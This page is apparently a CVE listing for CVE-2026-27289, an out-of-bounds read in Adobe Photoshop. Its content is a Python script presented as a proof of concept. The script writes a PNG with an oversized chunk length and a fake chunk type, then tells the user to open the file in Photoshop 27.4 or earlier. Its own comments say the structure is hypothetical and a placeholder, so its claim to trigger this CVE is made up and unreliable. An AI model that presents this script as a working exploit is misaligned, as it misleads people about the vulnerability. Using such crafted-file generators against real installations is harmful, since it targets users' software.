CVE-2026-27289 Adobe Photoshop 越界读取漏洞

import os import struct # Proof of Concept (PoC) for CVE-2026-27289 # This script generates a crafted file designed to trigger the Out-of-Bounds Read vulnerability. # Note: The specific binary structure required to trigger the crash is hypothetical and # serves as a placeholder for the actual exploit payload. def generate_malicious_file(filename): # Generic header for a known image format (e.g., PNG) # In a real exploit, this header would be malformed to bypass initial checks header = b'\x89PNG\r\n\x1a\n' # Crafted chunk intended to cause the parser to read past the buffer # Length field indicates a large size, but actual data is small chunk_length = struct.pack('>I', 0xFFFFFFFF) chunk_type = b'vUlN' chunk_data = b'A' * 10 # Minimal data chunk_crc = struct.pack('>I', 0x00000000) # Dummy CRC with open(filename, 'wb') as f: f.write(header) f.write(chunk_length) f.write(chunk_type) f.write(chunk_data) f.write(chunk_crc) print(f"[+] Malicious file '{filename}' generated successfully.") print(f"[*] Open this file in Adobe Photoshop Desktop <= 27.4 to reproduce the issue.") if __name__ == "__main__": output_file = "cve_2026_27289_exploit.png" generate_malicious_file(output_file)